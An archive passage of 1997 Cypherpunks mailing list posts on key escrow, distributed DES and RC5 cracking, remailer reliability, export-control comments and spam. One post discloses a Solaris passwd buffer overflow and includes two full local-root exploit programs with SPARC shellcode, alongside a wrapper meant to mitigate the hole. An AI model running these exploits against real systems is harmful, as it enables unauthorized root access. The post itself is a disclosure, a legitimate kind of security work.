should >some form of formulary apportionment be applied? > >**Problems in imposing retail sales taxes on electronic sales. >Should traditional nexus rules apply? > >**Problems in determining the value added by electronic >commercial inputs. Should a tax be determined based on the >'bits' of information? If so, should each 'bit' be valued the >same? > >**Problems involving the harmonization of tax rules. >International and sub-national aspects of this problem will be >considered. OECD efforts in this area will be contrasted with >proposed uniform state legislation in the US. > >**Throughout the symposium the impact that these tax decisions >will have on cross-border investment decisions will be a primary >concern. ... "Toll" tax. If each packet were "taxed" as it entered a system, and due to the nature of the internet, when traffic increases in certain areas, prices would go up, driving activity back down, then each area could "tax" what it wanted. The only real problem would be how to get people to pay. Unlike the toll booth at the entrance to a turnpike, internet users don't keep exact change. There is no window to roll down to hand the attendant the money, there is no accepted currency to hand the attendant either. Taxation can't really begin until e-cash equipped browsers are common. Plus, executables are fairly large, while text files tend to be small, adding a bias against executables, images, and audio files. In addition, since the packets have to originate from somewhere, the location of the poster would get to tax at least. Of course, if such a system were not mandatory in a region, then "freenets" would get a whole new meaning. From roach_s at alph.swosu.edu Sun Feb 23 21:10:58 1997 From: roach_s at alph.swosu.edu (Sean Roach) Date: Sun, 23 Feb 1997 21:10:58 -0800 (PST) Subject: Clipper article in Cu Digest, #9.10, Wed 20 Feb 97 Message-ID: <199702240510.VAA28286@toad.com> At 09:16 AM 2/21/97 -0800, Bill Stewart forewarded: >CUD is available at URL: http://www.soci.niu.edu/~cudigest/ >Here are some excerpts: ... >> The Defense Department plans to remove the government key escrow >> software from its Fortezza cards used on the Defense Message System, a >> move that signals the death of the Clinton administration's >> controversial Clipper initiative and one that should encourage >> civilian use of the cryptographic cards. >> >> A DOD spokeswoman confirmed the decision to remove the key escrow but >> would not provide further details. >> >> The DOD decision, which will be formalized in a policy expected out >> shortly, is in response to the administration's decision last October >> to support key recovery technology instead of the controversial >> Clipper initiative. Each agency must decide how it will implement the >> government's policy internally. A technical advisory committee will >> develop standards for a federal key management infrastructure. >... >> DOD has for years pressured civilian agencies to use government escrow >> technology, but the agencies were wary of the law enforcement access. >> Stephen Walker, president and chief executive officer of Trusted >> Information Systems Inc. (TIS), said the policy will remove the last >> remnants of the Clipper and serve as an official endorsement of key >> recovery technology. ... So instead of all of the keys being stored in some guarded vault, the parent key which each chip uses to encrypt part of the users key when transmitting is kept in some guarded vault. That way they get the key in some 10 messages unless you rotate often. Or the keys are assigned according to some unusual system. Assuming that only 10,000,000 people were interested in the cards, then only 2^24 keys, or 16777216 keys need to be assigned. An additional 100+ bits of "key" can be thrown in, so long as the government has those, or can reconstruct them from the others. If you can only affect part of the key, can't a brute force attack get you, knowing that certain random digits were always the same? Of course this would become too obvious really soon, unless some elaborate system were used to rotate the garbage. such as having bits 2, 5, 9, 11, 12, 14, and 19 tell which of 128 different garbage sets to throw in. Please correct me if this is unfounded. Please inform me if I'm on the right track. Please tell me that I'm just irrationally paranoid so I can get some help. From WlkngOwl at unix.asb.com Sun Feb 23 21:53:26 1997 From: WlkngOwl at unix.asb.com (Robert Rothenburg 'Walking-Owl') Date: Sun, 23 Feb 1997 21:53:26 -0800 (PST) Subject: (Fwd) RC5-56 effort by New Media Laboratories Message-ID: <199702240554.AAA12066@unix.asb.com> This came though on the RC5 challenge list. My apologies for those who already have seen it. --Rob ------- Forwarded Message Follows ------- Date: Sat, 22 Feb 1997 15:29:05 +0100 From: lendl at cosy.sbg.ac.at (Otmar Lendl) To: challenge at list.ee.ethz.ch Subject: RC5-56 effort by New Media Laboratories Hi all, I just noticed that New Media Laboratories launched an attack at the RC5/56 challenge. For details see http://zero.genx.net/ Just FYI, otmar -- / Otmar Lendl (lendl at cosy.sbg.ac.at) # http://www.cosy.sbg.ac.at/~lendl/ \ \ Killfiles generate SEP fields. Beware: the CE-Norm does not cover them. / ----- "The word to kill ain't dirty | Robert Rothenburg (WlkngOwl at unix.asb.com) I used it in the last line | http://www.asb.com/usr/wlkngowl/ but use a short word for lovin' | Se habla PGP: Reply with the subject and dad you wind up doin' time." | 'send pgp-key' for my public key. From raph at CS.Berkeley.EDU Mon Feb 24 06:50:21 1997 From: raph at CS.Berkeley.EDU (Raph Levien) Date: Mon, 24 Feb 1997 06:50:21 -0800 (PST) Subject: List of reliable remailers Message-ID: <199702241450.GAA20987@kiwi.cs.berkeley.edu> I operate a remailer pinging service which collects detailed information about remailer features and reliability. To use it, just finger remailer-list at kiwi.cs.berkeley.edu There is also a Web version of the same information, plus lots of interesting links to remailer-related resources, at: http://www.cs.berkeley.edu/~raph/remailer-list.html This information is used by premail, a remailer chaining and PGP encrypting client for outgoing mail. For more information, see: http://www.c2.org/~raph/premail.html For the PGP public keys of the remailers, finger pgpkeys at kiwi.cs.berkeley.edu This is the current info: REMAILER LIST This is an automatically generated listing of remailers. The first part of the listing shows the remailers along with configuration options and special features for each of the remailers. The second part shows the 12-day history, and average latency and uptime for each remailer. You can also get this list by fingering remailer-list at kiwi.cs.berkeley.edu. $remailer{"extropia"} = " cpunk pgp special"; $remailer{"mix"} = " cpunk mix pgp hash latent cut ek ksub reord ?"; $remailer{"replay"} = " cpunk mix pgp hash latent cut post ek"; $remailer{'alpha'} = ' alpha pgp'; $remailer{'nymrod'} = ' alpha pgp'; $remailer{"lead"} = " cpunk mix pgp hash latent cut ek"; $remailer{"exon"} = " cpunk pgp hash latent cut ek"; $remailer{"haystack"} = " cpunk mix pgp hash latent cut ek"; $remailer{"lucifer"} = " cpunk mix pgp hash latent cut ek"; $remailer{"jam"} = " cpunk mix pgp hash middle latent cut ek"; $remailer{"winsock"} = " cpunk pgp pgponly hash cut ksub reord"; $remailer{'nym'} = ' newnym pgp'; $remailer{"balls"} = " cpunk pgp hash latent cut ek"; $remailer{"squirrel"} = " cpunk mix pgp pgponly hash latent cut ek"; $remailer{"middle"} = " cpunk mix pgp hash middle latent cut ek reord ?"; $remailer{'cyber'} = ' alpha pgp'; $remailer{"dustbin"} = " cpunk pgp hash latent cut ek mix reord middle ?"; $remailer{'weasel'} = ' newnym pgp'; $remailer{"death"} = " cpunk pgp hash latent post"; $remailer{"reno"} = " cpunk mix pgp hash middle latent cut ek reord ?"; $remailer{"wazoo"} = " cpunk mix pgp hash latent cut ek"; $remailer{"shaman"} = " cpunk mix pgp hash latent cut"; catalyst at netcom.com is _not_ a remailer. lmccarth at ducie.cs.umass.edu is _not_ a remailer. usura at replay.com is _not_ a remailer. remailer at crynwr.com is _not_ a remailer. There is no remailer at relay.com. Groups of remailers sharing a machine or operator: (cyber mix) (weasel squirrel) The alpha and nymrod nymservers are down due to abuse. However, you can use the nym or weasel (newnym style) nymservers. The cyber nymserver is quite reliable for outgoing mail (which is what's measured here), but is exhibiting serious reliability problems for incoming mail. The squirrel and winsock remailers accept PGP encrypted mail only. 403 Permission denied errors have been caused by a flaky disk on the Berkeley WWW server. This seems to be fixed now. The penet remailer is closed. Last update: Mon 24 Feb 97 6:46:43 PST remailer email address history latency uptime ----------------------------------------------------------------------- nym config at nym.alias.net ++#*+#++*#*# 3:57 100.00% weasel config at weasel.owl.de ++++++--++++ 1:00:37 99.99% winsock winsock at rigel.cyberpass.net .-----.----+ 6:43:17 99.91% dustbin dustman at athensnet.com +---------+ 3:38:39 99.87% squirrel mix at squirrel.owl.de + + ++--++++ 59:34 99.83% lucifer lucifer at dhp.com +++-+--++++ 44:49 99.81% exon remailer at remailer.nl.com *#++# *+#*# 1:49 99.78% cyber alias at alias.cyberpass.net +++*-*+-+ ** 33:47 99.43% extropia remail at miron.vip.best.com - ---_.__.. 28:37:50 99.10% jam remailer at cypherpunks.ca ** _**** ** 53:24 98.84% middle middleman at jpunix.com -- -- --+ 3:19:18 97.67% reno middleman at cyberpass.net +++ - .- + 1:51:29 97.38% replay remailer at replay.com ---++ --*** 48:23 97.36% balls remailer at huge.cajones.com *#_.-#### 3:58:16 93.66% haystack haystack at holy.cow.net **+* ## 6:32 91.52% mix mixmaster at remail.obscura.com __ 158:04:34 89.24% shaman remailer at lycaeum.org * 17:04 49.94% wazoo remailer at wazoo.com +*+++ 37:27 21.84% History key * # response in less than 5 minutes. * * response in less than 1 hour. * + response in less than 4 hours. * - response in less than 24 hours. * . response in more than 1 day. * _ response came back too late (more than 2 days). cpunk A major class of remailers. Supports Request-Remailing-To: field. eric A variant of the cpunk style. Uses Anon-Send-To: instead. penet The third class of remailers (at least for right now). Uses X-Anon-To: in the header. pgp Remailer supports encryption with PGP. A period after the keyword means that the short name, rather than the full email address, should be used as the encryption key ID. hash Supports ## pasting, so anything can be put into the headers of outgoing messages. ksub Remailer always kills subject header, even in non-pgp mode. nsub Remailer always preserves subject header, even in pgp mode. latent Supports Matt Ghio's Latent-Time: option. cut Supports Matt Ghio's Cutmarks: option. post Post to Usenet using Post-To: or Anon-Post-To: header. ek Encrypt responses in reply blocks using Encrypt-Key: header. special Accepts only pgp encrypted messages. mix Can accept messages in Mixmaster format. reord Attempts to foil traffic analysis by reordering messages. Note: I'm relying on the word of the remailer operator here, and haven't verified the reord info myself. mon Remailer has been known to monitor contents of private email. filter Remailer has been known to filter messages based on content. If not listed in conjunction with mon, then only messages destined for public forums are subject to filtering. Raph Levien From jya at pipeline.com Mon Feb 24 07:07:18 1997 From: jya at pipeline.com (John Young) Date: Mon, 24 Feb 1997 07:07:18 -0800 (PST) Subject: TMN_yet Message-ID: <1.5.4.32.19970224150046.006fea50@pop.pipeline.com> We've received reports from Kuala Lumpur on the two TMnet hacks last week that led to a shutdown, with more detail than Reuters: TMN_yet From jya at pipeline.com Mon Feb 24 07:10:55 1997 From: jya at pipeline.com (John Young) Date: Mon, 24 Feb 1997 07:10:55 -0800 (PST) Subject: BON_ker Message-ID: <1.5.4.32.19970224150424.006fee44@pop.pipeline.com> 2-24-97: "OECD to map out common security framework for online shopping" "Big-Bank Group Seeks To Control Destiny Of Payment System" "GTE Takes CyberTrust To Japan" "GSA Announces Access America Plan" Key initiatives of the Access America plan, being run by the GSA's Office of Government-wide Policy (OGP), include: providing support to interagency groups; playing a central role in developing card technologies; expanding the current electronic benefits transfer (EBT) systems; and providing information technology training to government executives. ----- BON_ker From jya at pipeline.com Mon Feb 24 08:49:14 1997 From: jya at pipeline.com (John Young) Date: Mon, 24 Feb 1997 08:49:14 -0800 (PST) Subject: CDM_aok Message-ID: <1.5.4.32.19970224164243.00726864@pop.pipeline.com> 2-24-97. Financial Times: "Japan is poised to adopt CDMA for digital mobile phones, dealing a blow to European ambitions to make GSM the world standard." Congrats to Qualcomm! Wonder if TIA/NSA is ready to bolster CAVE, or is this a anti-GSM global deal to boost crypto-weak wireless? ----- CDM_aok From marc at cygnus.com Mon Feb 24 13:32:27 1997 From: marc at cygnus.com (Marc Horowitz) Date: Mon, 24 Feb 1997 13:32:27 -0800 (PST) Subject: Distributed cracks, law, and cryptoanarchy In-Reply-To: <3310e0fa.5573759@library.airnews.net> Message-ID: I'm sorry to flame, but I'm getting sick of this. >> The "you must report results only to the crack organizers" rule can be >> enforced if it's made into a contract. Even without a formal contract, I don't want to sign a formal contract. I want to break the key. I don't care about the money. I can buy a lottery ticket if I want a small chance at winning a lot of money. I'll participate when I can download something, type make, run it, and forget about it. Invoving money money seems to be making it harder, not easier, to do this. I thought the reason to crack the key was to demonstrate how weak DES is. If the person who cracks the key collects the reward himself, so what? A good, public nail in the coffin of restrictions on crypto is worth the risk that someone steals the $10k, IMHO. I've got my idle cycles waiting.... Marc From vangelis at qnis.net Mon Feb 24 14:00:08 1997 From: vangelis at qnis.net (Vangelis) Date: Mon, 24 Feb 1997 14:00:08 -0800 (PST) Subject: Distributed cracks, law, and cryptoanarchy In-Reply-To: <3310e0fa.5573759@library.airnews.net> Message-ID: <3312104C.4898@qnis.net> Marc Horowitz wrote: > >> The "you must report results only to the crack organizers" rule can be > >> enforced if it's made into a contract. Even without a formal contract, > > I don't want to sign a formal contract. I want to break the key. I > don't care about the money. I can buy a lottery ticket if I want a > small chance at winning a lot of money. > I'll participate when I can download something, type make, run it, and > forget about it. My feelings EXACTLY. And the same reasoning behind my machine not being put to work on these DES/RC4 cracking projects. Instead it spends its off-cycles factoring Merseinne primes - why? Because it's the only charity I can donate my spare CPU power to, WITHOUT having to sign forms and other beauracratic garbage. -- Vangelis /\oo/\ Finger for public key. PGP KeyID 1024/A558B025 PGP Fingerprint AE E0 BE 68 EE 7B CF 04 02 97 02 86 F0 C7 69 25 Life is my religion, the world is my altar. From jya at pipeline.com Mon Feb 24 14:10:53 1997 From: jya at pipeline.com (John Young) Date: Mon, 24 Feb 1997 14:10:53 -0800 (PST) Subject: BXA Site for Crypto Comments Message-ID: <1.5.4.32.19970224220418.00822c1c@pop.pipeline.com> The Bureau of Export Administration has set up a Web page to provide the public comments submitted on transferring encryption items from the US Munitions List to the Commerce Control List. Here's the URL and index of hyperlinked comments on 24 February 1997; note the 12MB comments by Technical Communications Corp.: http://www.bxa.doc.gov/pubcomts.htm -------------------------------------------------------------------- Public Comments Encryption Items Transferred from the U.S. Munitions List to the Commerce Control List December 30, 1996 (61 FR 68572) 1. University of Waterloo, 32K 2. John and Laren Navas, 35K 3. Cylink, 49K 4. Motorola, 212K 5. Secure Computing, 78K 6. Tuttle and Taylor, 313K 7. Lyman C. Welch, 78K 8. ISTAC, 138K 9. American Association for the Advancement of Science, 230K 10. Trusted information Systems, Inc., 240K 11. IBM, 251K 12. Hughes Electronics, 250K 13. Industry Coalition on Technology Transfer (ICOTT), 196K 14. Murphy & Weber, 120K 15. Steptoe & Johnson LLP, 229K 16. America Online, Inc., 238K 17. Citibank, 1296K 18. NCR, 104K 19. American Civil Liberties Union (ACLU), 138K 20. United States Council for International Business, 449K 21. V-One, 134K 22. William A. Root, 525K 23. Thoroughbred Security Solutions, Ltd., 181K 24. Microsoft, 2783K 25. Commercial Internet Exchange Association, 340K 26. The Direct Marketing Association, Inc., 126K 27. Technical Communications Corp., 11896K 28. Software Publishers Association, 488K 29. Alston & Bird, 380K 30. Association for Computing Machinery, 417K 31. National Association of Manufacturers, 269K 32. Computer & Communications Industry Association, 374K 33. Dewey Ballantine, 284K 34. American Bankers Association, 482K 35. Steptoe & Johnson for Visa USA Inc. and Visa International, 192K 36. Winston & Strawn for ICOTT, 204K 37. Sun Microsystems, 331K 38. Key Escrow Working Group, 408K 39. Hewlett Packard, 336K 40. Scientific-Atlanta, Inc., 158K 41. Timothy Hinds, 66K 42. Information Security Incorporated, 119K 43. Securities Industry Association, 315K From mlmdream at concentric.net Tue Feb 25 01:39:44 1997 From: mlmdream at concentric.net (mlmdream at concentric.net) Date: Tue, 25 Feb 1997 01:39:44 -0800 (PST) Subject: Receive multiple checks while promoting only ONE company!! Message-ID: <199702250914.KAA11867@tor.abc.se> I_Love_SPAM, Hello! If you are in any Network Marketing program ask yourself this question... WHY? Would you want to build a downline in just ONE program and receive just ONE check? When you could receive up to 20 CHECKS A MONTH with no more effort than just building a single downline! Because it's the smart thing to do!!! When you are ready to embark on this lucrative opportunity go sign up at http://members.tripod.com/~brianj/index.html for a FREE web site to start building your downline. From anand at querisoft.com Tue Feb 25 05:47:04 1997 From: anand at querisoft.com (Anand Abhyankar) Date: Tue, 25 Feb 1997 05:47:04 -0800 (PST) Subject: "cypherpunks is dead..." In-Reply-To: <199702201544.QAA07860@digicash.com> Message-ID: <3313A7CF.6F50@querisoft.com> Bryce wrote: > > -----BEGIN PGP SIGNED MESSAGE----- > > A million monkeys operating under the pseudonym > "Tim May " typed: > > > > (Getting PGP integrated into mailers > > is stil bogged down, for reasons I have to believe have to do with > > pressures from somewhere, else why would e-mail packages not make PGP > > support painless?) > > Because PGP's user interface is yucky and its programmer > interface is even worse. > > Amazing how people don't realize how much certain important > things depend on such a (deceptively) simple concept as having > a nice user interface and a nice programmer interface. In > contradiction of certain cypherpunk urban legends, I suspect > that such pedestrian details are far, far more important to > the course of history than the clumsy and feckless > machinations of government agencies. > > But for the good news, see the quote from Jim Bidzos in my > ".plan". > > Regards, > > Zooko, Journeyman Interface Designer > > NOT speaking for any organizations or persons whose names > might appear in the headers of this message, or who might > occasionally toss me some spare change in return for my > brilliant software design work. > > PGP sig follows check www.querisoft.com for 'SecureFile'. the attachment here explains the features of SecureFile. your comments / suggestions are most welcome. thanx. anand.... -- \|||/ ( O-O ) *----------------*-----------*--------.ooo0--(_)-0ooo.----------* Anand Abhyankar Querisoft Systems Pvt. Ltd. Email : anand at querisoft.com 810, Sindh Society, Aundh, Phone (Off) : 91-212-385925 Pune - 411 007. INDIA (Res) : 91-212-351023 .oooO ( ) Oooo. *----------------*-----------*------------\ (----( )----------* \_) ) / (_/ From anand at querisoft.com Tue Feb 25 05:48:12 1997 From: anand at querisoft.com (Anand Abhyankar) Date: Tue, 25 Feb 1997 05:48:12 -0800 (PST) Subject: SecureFile. Message-ID: <3313A8E9.1EFE@querisoft.com> hi cypherpunks, check out 'SecureFile' at www.querisoft.com the attachment here briefs the cool features of 'SecureFile'. thanx. anand.... -- \|||/ ( O-O ) *----------------*-----------*--------.ooo0--(_)-0ooo.----------* Anand Abhyankar Querisoft Systems Pvt. Ltd. Email : anand at querisoft.com 810, Sindh Society, Aundh, Phone (Off) : 91-212-385925 Pune - 411 007. INDIA (Res) : 91-212-351023 .oooO ( ) Oooo. *----------------*-----------*------------\ (----( )----------* \_) ) / (_/ SecureFile : * SecureFile is a cryptographic tool through which you can ensure the privacy, integrity and authenticity of your documents. * The product -- seamlessly integrated with the Windows 95/Windows NT 4.0 Explorer - commandS a comprehensive Graphical User Interface. So, all you got to do is "click," and ensure your privacy. * SecureFile allows you to store documents in an encrypted form so that no one would make any sense out of them. Whenever you want to read these documents, SecureFile decrypts them for you (and only you). * You can also encrypt documents such that only a select few (identified by you) may be able to decrypt them. * To guarantee the integrity and authenticity of your documents, SecureFile allows you to digitally sign them. Thus, no one will be able to play mischief with your files without getting detected. Neither shall anyone be able to send you documents forged in someone else's name because SecureFile allows you to verify the signature on any document. * Still, in another sense, you will possess irrefutable proof that you have received certain documents from the one who has signed them. SECUREFILE - JUST THE WAY TO RE-DISCOVER YOUR PRIVACY From stewarts at ix.netcom.com Tue Feb 25 07:15:08 1997 From: stewarts at ix.netcom.com (Bill Stewart) Date: Tue, 25 Feb 1997 07:15:08 -0800 (PST) Subject: Clipper article in Cu Digest, #9.10, Wed 20 Feb 97 In-Reply-To: <3.0.1.32.19970221091636.00639720@popd.ix.netcom.com> Message-ID: <3.0.1.32.19970224182039.00625ce8@popd.ix.netcom.com> At 04:44 AM 2/22/97 -0800, Toto wrote: >Bill Stewart wrote: >> > DOD has for years pressured civilian agencies to use government >> > escrow technology, but the agencies were wary of the law >> > enforcement access. >> > Stephen Walker, president and chief executive officer of Trusted >> > Information Systems Inc. (TIS), said the policy will remove the >> > last remnants of the Clipper and serve as an official endorsement >> > of key recovery technology. > So now civilian agencies should 'not' be wary of key recovery? > If the DOD recommended breathing, I'd stop. It's nice to know that the NSA's own government hasn't trusted Clipper enough to widely adopt it, and I was as impressed as you were with Walker's sleaziness... Either the civilian Feds don't believe the "legitimate needs of law enforcement" apply to them, or they don't trust the spooks to handle their keys carefully, or (more likely) there aren't any Clipper products that really meet their operational needs. Back when the STU-III was still called the "Future Secure Voice System" the DoD was telling manufacturers they'd probably sell 500,000 of them, between the DoD unclassified work, law enforcement users, defense contractors, and similar riff-raff. I don't know how many were actually sold, but I'd be surprised if it's a tenth of that; the government was too cheap to spend $2-3K per box for that many users. "Key Recovery" is a broader and sleazier term than "key escrow"; it doesn't force you to buy a specific espionage-enabled product, as long as you can demonstrate to the government that they can break in. Rot13 and RC4/40 inherently provide key recovery (:-), and DES presumably does (using NSA custom hardware). But PGP also gives you key recovery - just Cc: your Trusted Third Party whenever you encrypt something...... (Hmmm. I don't trust the Democrat or Republican Parties - guess that leaves the Libertarians? :-) P.S. On breathing - that's not DoD jurisdiction; the FDA regulates oxygen ... # Thanks; Bill # Bill Stewart, +1-415-442-2215 stewarts at ix.netcom.com # You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp # (If this is a mailing list, please Cc: me on replies. Thanks.) From skipo at sundy.cs.pub.ro Tue Feb 25 07:22:26 1997 From: skipo at sundy.cs.pub.ro (Cristian SCHIPOR) Date: Tue, 25 Feb 1997 07:22:26 -0800 (PST) Subject: Big Security Hole in Solaris 2.X (X)passwd + exploit Message-ID: Tue Feb 25 14:22 EET 1997 Romania " Another letter - another bug " An Exploit for a Big Big security hole in passwd ( + yppasswd and nispasswd) Under Solaris 2.X passwd, yppasswd and nispasswd can be overflowed in an internal function ( some like sa_chauthtok() ). Using a buffer overflow exploit anyone can gain root access (passwd need suid exec bit from root). passwd has a second overflow bug when it is called with '-s' option in an internal strcpy(). I written two exploits one for Solaris 2.4 and one for Solaris 2.5 for sa_chauthtok() type function ( passwd LEMON_BUFFER ). It's a little trick here - the LEMON_BUFFER is shifted in memory with 1 char after exec so it must to shift the LEMON_BUFFER in a reverse direction before exec - that's happening only for a special combination of the exec args - see my exploits. A way to prevent the exploit is to rename passwd, nispasswd and yppasswd and get out suid-exec bit. After that you have to compile a little program ( some like newpass.c ) with name passwd or nispasswd or yppasswd like root and give them suid-exec bit. You have to change the "hidden_passwd" constant with the new name of Xpasswd files. Cristian Schipor - Computer Science Faculty - Bucharest - Romania E-mail: skipo at math.pub.ro , skipo at sundy.cs.pub.ro , skipo at ns.ima.ro Phone: (401) - 410.60.88 ---------------------------- file newpass.c ------------------------------- #include #include #define hidden_passwd "/bin/hpasswd" /*change here ...*/ #define MAX_LENGTH 32 void main(int argc, char *argv[]) { int i; char *args[10]; if(argc < 10) { args[0]=hidden_passwd; for(i = 1; i MAX_LENGTH) { printf("You reached the maximum length in args\n"); exit(0); } else args[i]=argv[i]; } args[i]=(char *)0; execv(args[0],args); } else { printf("You reached the maximum number of args !\n"); } } ---------------------------- end newpass.c ----------------------------------- ------------------------------ EXPLOITS ---------------------------------- ------------------------------ lemon24.c -------------------------------- /* Exploit for Solaris 2.4 ( it is a little and subtile different beetwen this exploit and the prog for Solaris 2.5 - the overflow buffer is shifted with 1 char ) With argv[1] you can modify the stack_offset (+-256). */ #include #include #include #include #define BUF_LENGTH 600 #define EXTRA 600 #define STACK_OFFSET 1400 #define SPARC_NOP 0xa61cc013 u_char sparc_shellcode[] = "\x2d\x0b\xd8\x9a\xac\x15\xa1\x6e\x2f\x0b\xda\xdc\xae\x15\xe3\x68" "\x90\x0b\x80\x0e\x92\x03\xa0\x0c\x94\x1a\x80\x0a\x9c\x03\xa0\x14" "\xec\x3b\xbf\xec\xc0\x23\xbf\xf4\xdc\x23\xbf\xf8\xc0\x23\xbf\xfc" "\x82\x10\x20\x3b\x91\xd0\x20\x08\x90\x1b\xc0\x0f\x82\x10\x20\x01" "\x91\xd0\x20\x08" ; u_long get_sp(void) { __asm__("mov %sp,%i0 \n"); } void main(int argc, char *argv[]) { char buf[BUF_LENGTH + EXTRA + 8]; long targ_addr; u_long *long_p; u_char *char_p; int i, code_length = strlen(sparc_shellcode),dso=0; if(argc > 1) dso=atoi(argv[1]); long_p =(u_long *) buf ; targ_addr = get_sp() - STACK_OFFSET - dso; for (i = 0; i < (BUF_LENGTH - code_length) / sizeof(u_long); i++) *long_p++ = SPARC_NOP; char_p = (u_char *) long_p; for (i = 0; i < code_length; i++) *char_p++ = sparc_shellcode[i]; long_p = (u_long *) char_p; for (i = 0; i < EXTRA / sizeof(u_long); i++) *long_p++ =targ_addr; printf("Jumping to address 0x%lx B[%d] E[%d] SO[%d]\n", targ_addr,BUF_LENGTH,EXTRA,STACK_OFFSET); execl("/bin/passwd", "passwd", & buf[1],(char *) 0); perror("execl failed"); } -------------------------------- end of lemon24.c ---------------------------- ---------------------------------- lemon25.c -------------------------------- /* This is for Solaris 2.5.(1) ! With argv[1] you can modify the stack offset (+-500) if you have troubles ... */ #include #include #include #include #define BUF_LENGTH 1100 #define EXTRA 1200 #define STACK_OFFSET 3800 #define SPARC_NOP 0xa61cc013 u_char sparc_shellcode[] = "\x82\x10\x20\xca\xa6\x1c\xc0\x13\x90\x0c\xc0\x13\x92\x0c\xc0\x13" "\xa6\x04\xe0\x01\x91\xd4\xff\xff\x2d\x0b\xd8\x9a\xac\x15\xa1\x6e" "\x2f\x0b\xdc\xda\x90\x0b\x80\x0e\x92\x03\xa0\x08\x94\x1a\x80\x0a" "\x9c\x03\xa0\x10\xec\x3b\xbf\xf0\xdc\x23\xbf\xf8\xc0\x23\xbf\xfc" "\x82\x10\x20\x3b\x91\xd4\xff\xff" ; u_long get_sp(void) { __asm__("mov %sp,%i0 \n"); } void main(int argc, char *argv[]) { char buf[BUF_LENGTH + EXTRA]; long targ_addr; u_long *long_p; u_char *char_p; int i, code_length = strlen(sparc_shellcode),dso=0; if(argc > 1) dso=atoi(argv[1]); long_p =(u_long *) buf; targ_addr = get_sp() - STACK_OFFSET - dso; for (i = 0; i < (BUF_LENGTH - code_length) / sizeof(u_long); i++) *long_p++ = SPARC_NOP; char_p = (u_char *) long_p; for (i = 0; i < code_length; i++) *char_p++ = sparc_shellcode[i]; long_p = (u_long *) char_p; for (i = 0; i < EXTRA / sizeof(u_long); i++) *long_p++ =targ_addr; printf("Jumping to address 0x%lx B[%d] E[%d] SO[%d]\n", targ_addr,BUF_LENGTH,EXTRA,STACK_OFFSET); execl("/bin/passwd", "passwd", buf,(char *) 0); perror("execl failed"); } ----------------------------------- end of lemon25.c ------------------------- # End From mikej2 at Exabyte.COM Tue Feb 25 08:40:09 1997 From: mikej2 at Exabyte.COM (Michael Paul Johnson) Date: Tue, 25 Feb 1997 08:40:09 -0800 (PST) Subject: Distributed cracks, law, and cryptoanarchy In-Reply-To: <3312104C.4898@qnis.net> Message-ID: On Mon, 24 Feb 1997, Vangelis wrote: > > I don't want to sign a formal contract. I want to break the key. I > > don't care about the money. I can buy a lottery ticket if I want a > > small chance at winning a lot of money. > > > I'll participate when I can download something, type make, run it, and > > forget about it. > > My feelings EXACTLY. And the same reasoning behind my machine not being > put to work on these DES/RC4 cracking projects. Instead it spends its > off-cycles factoring Merseinne primes - why? Because it's the only > charity I can donate my spare CPU power to, WITHOUT having to sign forms > and other beauracratic garbage. For win32, just get deskr or brydDES. (For North Americans, a deskr beta is available via http://www.csn.net/~mpj/crypto.htm; BrydDES is available internationally at http://inet.uni-c.dk/~svolaf/des.htm). For the record, Peter Trei is still unsure if my export controlled site is totally EAR-compliant, so don't blame him if you don't think it is. I, however, believe that it is fully compliant, knowing full well the ease of bypassing it. Please don't -- it only eggs the feds into making the law worse. Get BrydDES if you are outside of North America. It is faster, anyway, so far, although Peter is gaining speed as he tweaks his code. Michael Paul Johnson Opinions herein are not necessarily Exabyte's. Work: mpj at exabyte.com http://www.exabyte.com Personal: mpj at csn.net http://www.csn.net/~mpj BBS 303-772-1062 From cwood at ucsd.edu Tue Feb 25 10:28:58 1997 From: cwood at ucsd.edu (Catherine Larsen) Date: Tue, 25 Feb 1997 10:28:58 -0800 (PST) Subject: take me off this list Message-ID: <1.5.4.16.19970225111952.2307a0ac@popmail.ucsd.edu> I don't know who generated this big long list, but please take me off. And please, if you are replying to the first message about gifs, don't reply to all, reply only to that one person who sent the message. From stewarts at ix.netcom.com Tue Feb 25 11:15:17 1997 From: stewarts at ix.netcom.com (Bill Stewart) Date: Tue, 25 Feb 1997 11:15:17 -0800 (PST) Subject: SPAMMER pretending to be on concentric.net using your system In-Reply-To: <199702250914.KAA11867@tor.abc.se> Message-ID: <3.0.1.32.19970225102834.0063ca68@popd.ix.netcom.com> I've attached the mail headers below. At 10:14 AM 2/25/97 +0100, mlmdream at concentric.net wrote: >I_Love_SPAM, > >Hello! > >If you are in any Network Marketing program ask yourself >this question... > >WHY? Would you want to build a downline in just ONE >program and receive just ONE check? When you could >receive up to 20 CHECKS A MONTH with no more effort >than just building a single downline! > >Because it's the smart thing to do!!! > >When you are ready to embark on this lucrative >opportunity go sign up at >http://members.tripod.com/~brianj/index.html >for a FREE web site to start building your downline. > ====================================================================== Here are the mail headers ====================================================================== Return-Path: Received: from sirius.infonex.com (majordom at sirius.infonex.com [206.170.114.2]) by ixmail1.ix.netcom.com (8.7.5/SMI-4.1/Netcom) id BAA22800; Tue, 25 Feb 1997 01:56:44 -0800 (PST) Received: (from majordom at localhost) by sirius.infonex.com (8.7.3/8.7.3) id BAA29262 for cypherpunks-outgoing; Tue, 25 Feb 1997 01:49:08 -0800 (PST) Received: from rigel.infonex.com (root at rigel.infonex.com [206.170.114.3]) by sirius.infonex.com (8.7.3/8.7.3) with ESMTP id BAA29257 for ; Tue, 25 Feb 1997 01:49:06 -0800 (PST) Received: from toad.com (toad.com [140.174.2.1]) by rigel.infonex.com (8.7.3/8.7.3) with ESMTP id BAA05208 for ; Tue, 25 Feb 1997 01:44:33 -0800 (PST) Received: (from majordom at localhost) by toad.com (8.7.5/8.7.3) id BAA16509; Tue, 25 Feb 1997 01:39:44 -0800 (PST) Received: from tor.abc.se (root at tor.abc.se [192.36.170.11]) by toad.com (8.7.5/8.7.3) with SMTP id BAA16504; Tue, 25 Feb 1997 01:39:33 -0800 (PST) From: mlmdream at concentric.net Received: from Computer by tor.abc.se (SMI-8.6/SMI-SVR4) id KAA11867; Tue, 25 Feb 1997 10:14:07 +0100 Date: Tue, 25 Feb 1997 10:14:07 +0100 Message-Id: <199702250914.KAA11867 at tor.abc.se> To: cypherpunks at toad.com Subject: Receive multiple checks while promoting only ONE company!! Sender: owner-cypherpunks at sirius.infonex.com Precedence: bulk Reply-To: mlmdream at concentric.net X-List: cypherpunks at cyberpass.net # Thanks; Bill # Bill Stewart, +1-415-442-2215 stewarts at ix.netcom.com # You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp # (If this is a mailing list, please Cc: me on replies. Thanks.) From nobody at 